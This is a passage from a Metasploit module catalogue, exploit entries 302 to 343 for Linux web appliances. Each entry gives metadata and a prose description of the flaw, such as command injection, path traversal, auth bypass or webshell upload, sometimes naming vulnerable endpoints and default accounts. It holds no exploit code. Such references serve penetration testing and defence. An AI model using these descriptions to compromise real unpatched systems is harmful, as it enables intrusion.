
End Exploit Number 301

Begin Exploit Number 302
       Name: Trend Micro Smart Protection Server Exec Remote Code
Injection
     Module: exploit/linux/http/trendmicro_sps_exec
   Platform: Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-08-08

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in TrendMicro Smart
Protection Server where untrusted inputs are fed to ServWebExec system
command, leading to command injection.
  Please note: authentication is required to exploit this
vulnerability.

End Exploit Number 302

Begin Exploit Number 303
       Name: Trend Micro Web Security (Virtual Appliance) Remote Code
Execution
     Module: exploit/linux/http/trendmicro_websecurity_exec
   Platform: Python
       Arch: python
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-06-10
```

```
Payload information:

Description:
  This module exploits multiple vulnerabilities together in order to
achive a remote code execution.
  Unauthenticated users can execute a terminal command under the
context of the root user.

  The specific flaw exists within the LogSettingHandler class of
administrator interface software.
  When parsing the mount_device parameter, the process does not
properly validate a user-supplied string
  before using it to execute a system call. An attacker can leverage
this vulnerability to execute code in
  the context of root. But authentication is required to exploit this
vulnerability.

  Another specific flaw exist within the proxy service, which listens
on port 8080 by default. Unauthenticated users
  can exploit this vulnerability in order to communicate with internal
services in the product.

  Last but not least a flaw exists within the Apache Solr application,
which is installed within the product.
  When parsing the file parameter, the process does not properly
validate a user-supplied path prior to using it in file operations.
  An attacker can leverage this vulnerability to disclose information
in the context of the IWSS user.

  Due to combination of these vulnerabilities, unauthenticated users
can execute a terminal command under the context of the root user.

  Version perior to 6.5 SP2 Patch 4 (Build 1901) are affected.

End Exploit Number 303

Begin Exploit Number 304
       Name: TrueOnline / Billion 5200W-T Router Unauthenticated
Command Injection
     Module: exploit/linux/http/trueonline_billion_5200w_rce
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-12-26

Payload information:
```

```
Description:
  TrueOnline is a major ISP in Thailand, and it distributes a
customized version of
  the Billion 5200W-T router. This customized version has at least two
command injection
  vulnerabilities, one authenticated and one unauthenticated, on
different firmware versions.
  This module will attempt to exploit the unauthenticated injection
first, and if that fails,
  it will attempt to exploit the authenticated injection.
  This module was tested in an emulated environment, as the author
doesn't have access to the
  Thai router any more. Any feedback should be sent directly to the
module's author, as well as
  to the Metasploit project.
  There are other language strings in the firmware, so it is likely
that this firmware is not
  only distributed in Thailand. Other Billion 5200W-T in other
countries might be vulnerable too.

End Exploit Number 304

Begin Exploit Number 305
       Name: TrueOnline / ZyXEL P660HN-T v1 Router Unauthenticated
Command Injection
     Module: exploit/linux/http/trueonline_p660hn_v1_rce
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-12-26

Payload information:

Description:
  TrueOnline is a major ISP in Thailand, and it distributes a
customized version of
  the ZyXEL P660HN-T v1 router. This customized version has an
unauthenticated command
  injection vulnerability in the remote log forwarding page.
  This module was tested in an emulated environment, as the author
doesn't have access to the
  Thai router any more. Any feedback should be sent directly to the
module's author, as well as
  to the Metasploit project.
  There are other language strings in the firmware, so it is likely
that this firmware is not only
  distributed in Thailand. Other P660HN-T v1 in other countries might
be vulnerable too.
```

```
End Exploit Number 305

Begin Exploit Number 306
       Name: TrueOnline / ZyXEL P660HN-T v2 Router Authenticated
Command Injection
     Module: exploit/linux/http/trueonline_p660hn_v2_rce
   Platform: Linux
       Arch: mipsbe
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-12-26

Payload information:

Description:
  TrueOnline is a major ISP in Thailand, and it distributes a
customized version of
  the ZyXEL P660HN-T v2 router. This customized version has an
authenticated command injection
  vulnerability in the remote log forwarding page. This can be
exploited using the "supervisor"
  account that comes with a default password on the device.
  This module was tested in an emulated environment, as the author
doesn't have access to the
  Thai router any more. Any feedback should be sent directly to the
module's author, as well as
  to the Metasploit project. Note that the inline payloads work best.
  There are Turkish and other language strings in the firmware, so it
is likely that this
  firmware is not only distributed in Thailand. Other P660HN-T v2 in
other countries might be
  vulnerable too.

End Exploit Number 306

Begin Exploit Number 307
       Name: Ubiquiti airOS Arbitrary File Upload
     Module: exploit/linux/http/ubiquiti_airos_file_upload
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-02-13

Payload information:

Description:
  This module exploits a pre-auth file upload to install a new root
user
  to /etc/passwd and an SSH key to /etc/dropbear/authorized_keys.

  FYI, /etc/{passwd,dropbear/authorized_keys} will be overwritten.
  /etc/persistent/rc.poststart will be overwritten if PERSIST_ETC is
true.

  This method is used by the "mf" malware infecting these devices.

End Exploit Number 307

Begin Exploit Number 308
       Name: Unitrends UEB http api remote code execution
     Module: exploit/linux/http/ueb_api_rce
   Platform: Linux
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-08-08

Payload information:

Description:
  It was discovered that the api/storage web interface in Unitrends
Backup (UB)
  before 10.0.0 has an issue in which one of its input parameters was
not validated.
  A remote attacker could use this flaw to bypass authentication and
execute arbitrary
  commands with root privilege on the target system.
  UEB v9 runs the api under root privileges and api/storage is
vulnerable.
  UEB v10 runs the api under limited privileges and api/hosts is
vulnerable.

End Exploit Number 308

Begin Exploit Number 309
       Name: Unraid 6.8.0 Auth Bypass PHP Code Execution
     Module: exploit/linux/http/unraid_auth_bypass_exec
   Platform: PHP
       Arch: php
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-02-10

Payload information:
```

```
Description:
  This module exploits two vulnerabilities affecting Unraid 6.8.0.
  An authentication bypass is used to gain access to the
administrative
  interface, and an insecure use of the extract PHP function can be
abused
  for arbitrary code execution as root.

End Exploit Number 309

Begin Exploit Number 310
       Name: Arris VAP2500 tools_command.php Command Execution
     Module: exploit/linux/http/vap2500_tools_command_exec
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-11-25

Payload information:
  Space: 1024

Description:
  Arris VAP2500 access points are vulnerable to OS command injection
in the web management
  portal via the tools_command.php page. Though authentication is
required to access this
  page, it is trivially bypassed by setting the value of a cookie to
an md5 hash of a valid
  username.

End Exploit Number 310

Begin Exploit Number 311
       Name: V-CMS PHP File Upload and Execute
     Module: exploit/linux/http/vcms_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-11-27

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found on V-CMS's inline image
```

```
upload feature.
  The problem is due to the inline_image_upload.php file not checking
the file type
  before saving it on the web server. This allows any malicious user
to upload a
  script (such as PHP) without authentication, and then execute it
with a GET request.

    The issue is fixed in 1.1 by checking the extension name.  By
default, 1.1 only
  allows jpg, jpeg, png, gif, bmp, but it is still possible to upload
a PHP file as
  one of those extension names, which may still be leveraged in an
attack.

End Exploit Number 311

Begin Exploit Number 312
       Name: Vesta Control Panel Authenticated Remote Code Execution
     Module: exploit/linux/http/vestacp_exec
   Platform: Python
       Arch: python
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-03-17

Payload information:

Description:
  This module exploits an authenticated command injection
vulnerability in the v-list-user-backups
  bash script file in Vesta Control Panel to gain remote code
execution as the root user.

End Exploit Number 312

Begin Exploit Number 313
       Name: Vinchin Backup and Recovery Command Injection
     Module: exploit/linux/http/vinchin_backup_recovery_cmd_inject
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-10-26

Payload information:

Description:
  This module exploits a command injection vulnerability in Vinchin
Backup & Recovery
  v5.0.*, v6.0.*, v6.7.*, and v7.0.*. Due to insufficient input
validation in the
  checkIpExists API endpoint, an attacker can execute arbitrary
commands as the
  web server user.

End Exploit Number 313

Begin Exploit Number 314
       Name: VMware NSX Manager XStream unauthenticated RCE
     Module: exploit/linux/http/
vmware_nsxmgr_xstream_rce_cve_2021_39144
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-10-25

Payload information:

Description:
  VMware Cloud Foundation (NSX-V) contains a remote code execution
vulnerability via XStream open source library.
  VMware has evaluated the severity of this issue to be in the
Critical severity range with a maximum CVSSv3 base score of 9.8.
  Due to an unauthenticated endpoint that leverages XStream for input
serialization in VMware Cloud Foundation (NSX-V),
  a malicious actor can get remote code execution in the context of
'root' on the appliance.
  VMware Cloud Foundation 3.x and more specific NSX Manager Data
Center for vSphere up to and including version 6.4.13
  are vulnerable to Remote Command Injection.

  This module exploits the vulnerability to upload and execute
payloads gaining root privileges.

End Exploit Number 314

Begin Exploit Number 315
       Name: VMware vCenter Server Analytics (CEIP) Service File
Upload
     Module: exploit/linux/http/vmware_vcenter_analytics_file_upload
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-09-21

Payload information:

Description:
  This module exploits a file upload in VMware vCenter Server's
  analytics/telemetry (CEIP) service to write a system crontab and
  execute shell commands as the root user.

  Note that CEIP must be enabled for the target to be exploitable by
  this module. CEIP is enabled by default.

End Exploit Number 315

Begin Exploit Number 316
       Name: VMware vCenter Server Virtual SAN Health Check Plugin RCE
     Module: exploit/linux/http/vmware_vcenter_vsan_health_rce
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-05-25

Payload information:

Description:
  This module exploits Java unsafe reflection and SSRF in the VMware
  vCenter Server Virtual SAN Health Check plugin's ProxygenController
  class to execute code as the vsphere-ui user.

  See the vendor advisory for affected and patched versions. Tested
  against VMware vCenter Server 6.7 Update 3m (Linux appliance).

End Exploit Number 316

Begin Exploit Number 317
       Name: VMware View Planner Unauthenticated Log File Upload RCE
     Module: exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce
   Platform: Python
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-03-02

Payload information:

Description:
  This module exploits an unauthenticated log file upload within the
  log_upload_wsgi.py file of VMWare View Planner 4.6 prior to 4.6
  Security Patch 1.

  Successful exploitation will result in RCE as the apache user inside
  the appacheServer Docker container.

End Exploit Number 317

Begin Exploit Number 318
       Name: VMware vRealize Log Insight Unauthenticated RCE
     Module: exploit/linux/http/vmware_vrli_rce
   Platform: Unix, Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-01-24

Payload information:

Description:
  VMware vRealize Log Insights versions v8.x contains multiple
vulnerabilities, such as
  directory traversal, broken access control, deserialization, and
information disclosure.
  When chained together, these vulnerabilities allow a remote,
unauthenticated attacker to
  execute arbitrary commands on the underlying operating system as the
root user.

  This module achieves code execution via triggering a
`RemotePakDownloadCommand` command
  via the exposed thrift service after obtaining the node token by
calling a `GetConfigRequest`
  thrift command. After the download, it will trigger a
`PakUpgradeCommand` for processing the
  specially crafted PAK archive, which then will place the JSP payload
under a certain API
  endpoint (pre-authenticated) location upon extraction for gaining
remote code execution.

  Successfully tested against version 8.0.2.

End Exploit Number 318

Begin Exploit Number 319
       Name: VMWare Aria Operations for Networks (vRealize Network
Insight) pre-authenticated RCE
     Module: exploit/linux/http/vmware_vrni_rce_cve_2023_20887
   Platform: Unix, Linux
```

```
       Arch: cmd, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-06-07

Payload information:
  Avoid: 1 characters

Description:
  VMWare Aria Operations for Networks (vRealize Network Insight) is
vulnerable to command injection
  when accepting user input through the Apache Thrift RPC interface.
This vulnerability allows a
  remote unauthenticated attacker to execute arbitrary commands on the
underlying operating system
  as the root user. The RPC interface is protected by a reverse proxy
which can be bypassed.
  VMware has evaluated the severity of this issue to be in the
Critical severity range with a
  maximum CVSSv3 base score of 9.8. A malicious actor can get remote
code execution in the
  context of 'root' on the appliance.
  VMWare 6.x version are vulnerable.

  This module exploits the vulnerability to upload and execute
payloads gaining root privileges.
  Successfully tested against version 6.8.0.

End Exploit Number 319

Begin Exploit Number 320
       Name: VMware vRealize Operations (vROps) Manager SSRF RCE
     Module: exploit/linux/http/vmware_vrops_mgr_ssrf_rce
   Platform: Linux
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-03-30

Payload information:

Description:
  This module exploits a pre-auth SSRF (CVE-2021-21975) and post-auth
  file write (CVE-2021-21983) in VMware vRealize Operations Manager to
  leak admin creds and write/execute a JSP payload.

  CVE-2021-21975 affects the /casa/nodes/thumbprints endpoint, and
  CVE-2021-21983 affects the /casa/private/config/slice/ha/certificate
  endpoint. Code execution occurs as the "admin" Unix user.

  The following vRealize Operations Manager versions are vulnerable:

  * 7.0.0
  * 7.5.0
  * 8.0.0, 8.0.1
  * 8.1.0, 8.1.1
  * 8.2.0
  * 8.3.0

  Version 8.3.0 is not exploitable for creds and is therefore not
  supported by this module. Tested successfully against 8.0.1, 8.1.0,
  8.1.1, and 8.2.0.

End Exploit Number 320

Begin Exploit Number 321
       Name: VMware Workspace ONE Access CVE-2022-22954
     Module: exploit/linux/http/
vmware_workspace_one_access_cve_2022_22954
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-04-06

Payload information:

Description:
  This module exploits CVE-2022-22954, an unauthenticated server-side
  template injection (SSTI) in VMware Workspace ONE Access, to execute
  shell commands as the "horizon" user.

End Exploit Number 321

Begin Exploit Number 322
       Name: VMware Workspace ONE Access VMSA-2022-0011 exploit chain
     Module: exploit/linux/http/
vmware_workspace_one_access_vmsa_2022_0011_chain
   Platform: Unix, Linux
       Arch: cmd, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-04-06

Payload information:
  Avoid: 1 characters
```

```
Description:
  This module combines two vulnerabilities in order achieve remote
code execution in the context of the
  `horizon` user. The first vulnerability CVE-2022-22956 is an
authentication bypass in
  OAuth2TokenResourceController ACS which allows a remote,
unauthenticated attacker to bypass the
  authentication mechanism and execute any operation. The second
vulnerability CVE-2022-22957 is a JDBC
  injection RCE specifically in the DBConnectionCheckController
class's dbCheck method which allows an attacker
  to deserialize arbitrary Java objects which can allow remote code
execution.

End Exploit Number 322

Begin Exploit Number 323
       Name: WAN Emulator v2.3 Command Execution
     Module: exploit/linux/http/wanem_exec
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-08-12

Payload information:
  Space: 1024
  Avoid: 3 characters

Description:
  This module exploits a command execution vulnerability in WAN
Emulator
  version 2.3 which can be abused to allow unauthenticated users to
execute
  arbitrary commands under the context of the 'www-data' user.
  The 'result.php' script calls shell_exec() with user controlled data
  from the 'pc' parameter. This module also exploits a command
execution
  vulnerability to gain root privileges. The 'dosu' binary is suid
'root'
  and vulnerable to command execution in argument one.

End Exploit Number 323

Begin Exploit Number 324
       Name: WatchGuard XTM Firebox Unauthenticated Remote Command
Execution
     Module: exploit/linux/http/
```

```
watchguard_firebox_unauth_rce_cve_2022_26318
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2022-08-29

Payload information:

Description:
  This module exploits a buffer overflow at the administration
interface (8080 or 4117) of WatchGuard Firebox
  and XTM appliances which is built from a cherrypy python backend
sending XML-RPC requests to a C binary
  called wgagent using pre-authentication endpoint /agent/login.
  This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before
12.1.3_U8, and 12.2.x through 12.5.x
  before 12.5.9_U2. Successful exploitation results in remote code
execution as user nobody.

End Exploit Number 324

Begin Exploit Number 325
       Name: Western Digital MyCloud multi_uploadify File Upload
Vulnerability
     Module: exploit/linux/http/wd_mycloud_multiupload_upload
   Platform: PHP
       Arch: php
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-07-29

Payload information:

Description:
  This module exploits a file upload vulnerability found in Western
Digital's MyCloud
  NAS web administration HTTP service. The /web/jquery/uploader/
multi_uploadify.php
  PHP script provides multipart upload functionality that is
accessible without authentication
  and can be used to place a file anywhere on the device's file
system. This allows an
  attacker the ability to upload a PHP shell onto the device and
obtain arbitrary code
  execution as root.

End Exploit Number 325
```

```
Begin Exploit Number 326
       Name: Western Digital MyCloud unauthenticated command injection
     Module: exploit/linux/http/
wd_mycloud_unauthenticated_cmd_injection
   Platform: Linux, Unix
       Arch: armle, cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-12-14

Payload information:

Description:
  This module exploits authentication bypass (CVE-2018-17153) and
  command injection (CVE-2016-10108) vulnerabilities in Western
  Digital MyCloud before 2.30.196 in order to achieve
  unauthenticated remote code execution as the root user.

  The module first performs a check to see if the target is
  WD MyCloud. If so, it attempts to trigger an authentication
  bypass (CVE-2018-17153) via a crafted GET request to
  /cgi-bin/network_mgr.cgi. If the server responds as expected,
  the module assesses the vulnerability status by attempting to
  exploit a commend injection vulnerability (CVE-2016-10108) in
  order to print a random string via the echo command. This is
  done via a crafted POST request to /web/google_analytics.php.

  If the server is vulnerable, the same command injection vector
  is leveraged to execute the payload.

  This module has been successfully tested against Western Digital
  MyCloud version 2.30.183.

  Note: based on the available disclosures, it seems that the
  command injection vector (CVE-2016-10108) might be exploitable
  without the authentication bypass (CVE-2018-17153) on versions
  before 2.21.126. The obtained results on 2.30.183 imply that
  the patch for CVE-2016-10108 did not actually remove the command
  injection vector, but only prevented unauthenticated access to it.

End Exploit Number 326

Begin Exploit Number 327
       Name: WebCalendar 1.2.4 Pre-Auth Remote Code Injection
     Module: exploit/linux/http/webcalendar_settings_exec
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-04-23

Payload information:

Description:
  This module exploits a vulnerability found in k5n.us WebCalendar, 
version 1.2.4 or
  less.  If not removed, the settings.php script meant for 
installation can be
  update by an attacker, and then inject code in it.  This allows 
arbitrary code
  execution as www-data.

End Exploit Number 327

Begin Exploit Number 328
       Name: WeBid converter.php Remote PHP Code Injection
     Module: exploit/linux/http/webid_converter
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-07-05

Payload information:

Description:
  This module exploits a vulnerability found in WeBid version 1.0.2.
  By abusing the converter.php file, a malicious user can inject PHP 
code
  in the includes/currencies.php script without any authentication, 
which
  results in arbitrary code execution.

End Exploit Number 328

Begin Exploit Number 329
       Name: Webmin password_change.cgi Backdoor
     Module: exploit/linux/http/webmin_backdoor
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-08-10

Payload information:
```

```
Description:
  This module exploits a backdoor in Webmin versions 1.890 through
1.920.
  Only the SourceForge downloads were backdoored, but they are listed
as
  official downloads on the project's site.

  Unknown attacker(s) inserted Perl qx statements into the build
server's
  source code on two separate occasions: once in April 2018,
introducing
  the backdoor in the 1.890 release, and in July 2018, reintroducing
the
  backdoor in releases 1.900 through 1.920.

  Only version 1.890 is exploitable in the default install. Later
affected
  versions require the expired password changing feature to be
enabled.

End Exploit Number 329

Begin Exploit Number 330
       Name: Webmin File Manager RCE
     Module: exploit/linux/http/webmin_file_manager_rce
   Platform: Linux
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-02-26

Payload information:

Description:
  In Webmin version 1.984, any authenticated low privilege user
without access rights to
  the File Manager module could interact with file manager
functionalities such as downloading files from remote URLs and
  changing file permissions. It is possible to achieve Remote Code
Execution via a crafted .cgi file by chaining those
  functionalities in the file manager.

End Exploit Number 330

Begin Exploit Number 331
       Name: Webmin Package Updates RCE
     Module: exploit/linux/http/webmin_package_updates_rce
   Platform: Unix, Linux
```

```
       Arch: cmd, x86, x64, aarch64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-07-26

Payload information:
  Avoid: 1 characters

Description:
  This module exploits an arbitrary command injection in Webmin
  versions prior to 1.997.

  Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform
  package updates and installation. Due to a lack of input
  sanitization, it is possibe to inject arbitrary command that will be
  concatenated to the package manager call.

  This exploit requires authentication and the account must have
access
  to the Software Package Updates module.

End Exploit Number 331

Begin Exploit Number 332
       Name: Webmin Package Updates Remote Command Execution
     Module: exploit/linux/http/webmin_packageup_rce
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-05-16

Payload information:
  Space: 512

Description:
  This module exploits an arbitrary command execution vulnerability in
Webmin
  1.910 and lower versions. Any user authorized to the "Package
Updates"
  module can execute arbitrary commands with root privileges.

End Exploit Number 332

Begin Exploit Number 333
       Name: Barco WePresent file_transfer.cgi Command Injection
     Module: exploit/linux/http/wepresent_cmd_injection
   Platform: Unix, Linux
```

```
       Arch: cmd, armle
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-04-30

Payload information:

Description:
  This module exploits an unauthenticated remote command injection
  vulnerability found in Barco WePresent and related OEM'ed products.
  The vulnerability is triggered via an HTTP POST request to the
  file_transfer.cgi endpoint.

End Exploit Number 333

Begin Exploit Number 334
       Name: WePresent WiPG-1000 Command Injection
     Module: exploit/linux/http/wipg1000_cmd_injection
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-04-20

Payload information:

Description:
  This module exploits a command injection vulnerability in an
undocumented
  CGI file in several versions of the WePresent WiPG-1000 devices.
  Version 2.0.0.7 was confirmed vulnerable, 2.2.3.0 patched this
vulnerability.

End Exploit Number 334

Begin Exploit Number 335
       Name: Xplico Remote Code Execution
     Module: exploit/linux/http/xplico_exec
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-10-29

Payload information:
  Space: 252
  Avoid: 2 characters
```

```
Description:
  This module exploits command injection vulnerability.
Unauthenticated users can register a new account and then execute a
terminal
  command under the context of the root user.

  The specific flaw exists within the Xplico, which listens on TCP
port 9876 by default. The goal of Xplico is extract from an internet
  traffic capture the applications data contained. There is a hidden
end-point at inside of the Xplico that allow anyone to create
  a new user. Once the user created through /users/register endpoint,
it must be activated via activation e-mail. After the registration
Xplico try
  to send e-mail that contains activation code. Unfortunetly, this e-
mail probably not gonna reach to the given e-mail address on most of
installation.
  But it's possible to calculate exactly same token value because of
insecure cryptographic random string generator function usage.

  One of the feature of Xplico is related to the parsing PCAP files.
Once PCAP file uploaded, Xplico execute an operating system command in
order to calculate checksum
  of the file. Name of the for this operation is direclty taken from
user input and then used at inside of the command without proper input
validation.

End Exploit Number 335

Begin Exploit Number 336
       Name: Zabbix 2.0.8 SQL Injection and Remote Code Execution
     Module: exploit/linux/http/zabbix_sqli
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-09-23

Payload information:
  Space: 255

Description:
  This module exploits an unauthenticated SQL injection vulnerability
affecting Zabbix
  versions 2.0.8 and lower.  The SQL injection issue can be abused in
order to retrieve an
  active session ID.  If an administrator level user is identified,
remote code execution
  can be gained by uploading and executing remote scripts via the
```

```
'scripts_exec.php' file.

End Exploit Number 336

Begin Exploit Number 337
       Name: ZEN Load Balancer Filelog Command Execution
     Module: exploit/linux/http/zen_load_balancer_exec
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-09-14

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in ZEN Load Balancer
  version 2.0 and 3.0-rc1 which could be abused to allow authenticated
users
  to execute arbitrary code under the context of the 'root' user.
  The 'content2-2.cgi' file uses user controlled data from the
'filelog'
  parameter within backticks.

End Exploit Number 337

Begin Exploit Number 338
       Name: Zenoss 3 showDaemonXMLConfig Command Execution
     Module: exploit/linux/http/zenoss_showdaemonxmlconfig_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2012-07-30

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a command execution vulnerability in Zenoss 3.x
  which could be abused to allow authenticated users to execute
arbitrary
  code under the context of the 'zenoss' user. The
show_daemon_xml_configs()
  function in the 'ZenossInfo.py' script calls Popen() with user
  controlled data from the 'daemon' parameter.

End Exploit Number 338

Begin Exploit Number 339
       Name: TAR Path Traversal in Zimbra (CVE-2022-41352)
     Module: exploit/linux/http/zimbra_cpio_cve_2022_41352
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-06-28

Payload information:

Description:
  This module creates a .tar file that can be emailed to a Zimbra
server
  to exploit CVE-2022-41352. If successful, it plants a JSP-based
  backdoor in the public web directory, then executes that backdoor.

  The core vulnerability is a path-traversal issue in the cpio
command-
  line utlity that can extract an arbitrary file to an arbitrary
  location on a Linux system (CVE-2015-1197). Most Linux distros have
  chosen not to fix it.

  This issue is exploitable on Red Hat-based systems (and other hosts
  without pax installed) running versions:

  * Zimbra Collaboration Suite 9.0.0 Patch 26 (and earlier)
  * Zimbra Collaboration Suite 8.8.15 Patch 33 (and earlier)

  The patch simply makes "pax" a pre-requisite.

End Exploit Number 339

Begin Exploit Number 340
       Name: Zip Path Traversal in Zimbra (mboximport)
(CVE-2022-27925)
     Module: exploit/linux/http/zimbra_mboximport_cve_2022_27925
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-05-10

Payload information:
```

```
Description:
  This module POSTs a ZIP file containing path traversal characters to
  the administrator interface for Zimbra Collaboration Suite. If
  successful, it plants a JSP-based backdoor within the web directory,
then
  executes it.

  The core vulnerability is a path-traversal issue in Zimbra
Collaboration Suite's
  ZIP implementation that can result in the extraction of an arbitrary
file
  to an arbitrary location on the host.

  This issue is exploitable on the following versions of Zimbra:

  * Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (and
earlier)
  * Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (and
earlier)

  Note that the Open Source Edition is not affected.

End Exploit Number 340

Begin Exploit Number 341
       Name: UnRAR Path Traversal in Zimbra (CVE-2022-30333)
     Module: exploit/linux/http/zimbra_unrar_cve_2022_30333
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-06-28

Payload information:

Description:
  This module creates a RAR file that can be emailed to a Zimbra
server
  to exploit CVE-2022-30333. If successful, it plants a JSP-based
  backdoor in the public web directory, then executes that backdoor.

  The core vulnerability is a path-traversal issue in unRAR that can
  extract an arbitrary file to an arbitrary location on a Linux
system.

  This issue is exploitable on the following versions of Zimbra,
provided
  UnRAR version 6.11 or earlier is installed:
```

```
  * Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
  * Zimbra Collaboration 8.8.15 Patch 31 (and earlier)

End Exploit Number 341

Begin Exploit Number 342
       Name: Zimbra Collaboration Autodiscover Servlet XXE and
ProxyServlet SSRF
     Module: exploit/linux/http/zimbra_xxe_rce
   Platform: Linux
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-03-13

Payload information:

Description:
  This module exploits an XML external entity vulnerability and a
  server side request forgery to get unauthenticated code execution
  on Zimbra Collaboration Suite. The XML external entity vulnerability
  in the Autodiscover Servlet is used to read a Zimbra configuration
  file that contains an LDAP password for the 'zimbra' account. The
  zimbra credentials are then used to get a user authentication cookie
  with an AuthRequest message. Using the user cookie, a server side
request
  forgery in the Proxy Servlet is used to proxy an AuthRequest with
  the 'zimbra' credentials to the admin port to retrieve an admin
  cookie. After gaining an admin cookie the Client Upload servlet is
  used to upload a JSP webshell that can be triggered from the web
  server to get command execution on the host. The issues reportedly
  affect Zimbra Collaboration Suite v8.5 to v8.7.11.

  This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64
  UBUNTU16_64 FOSS edition.

End Exploit Number 342

Begin Exploit Number 343
       Name: Zyxel chained RCE using LFI and weak password derivation
algorithm
     Module: exploit/linux/http/zyxel_lfi_unauth_ssh_rce
   Platform: Unix, Linux
       Arch: cmd, mipsbe
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-02-01
```

```
Payload information:

Description:
  This module exploits multiple vulnerabilities in the `zhttpd` binary
(/bin/zhttpd)
  and `zcmd` binary (/bin/zcmd). It is present on more than 40 Zyxel
routers and CPE devices.
  The remote code execution vulnerability can be exploited by chaining
the local file disclosure
  vulnerability in the zhttpd binary that allows an unauthenticated
attacker to read the entire configuration
  of the router via the vulnerable endpoint `/Export_Log?/data/
zcfg_config.json`.
  With this information disclosure, the attacker can determine if the
router is reachable via ssh
  and use the second vulnerability in the `zcmd` binary to derive the
`supervisor` password exploiting
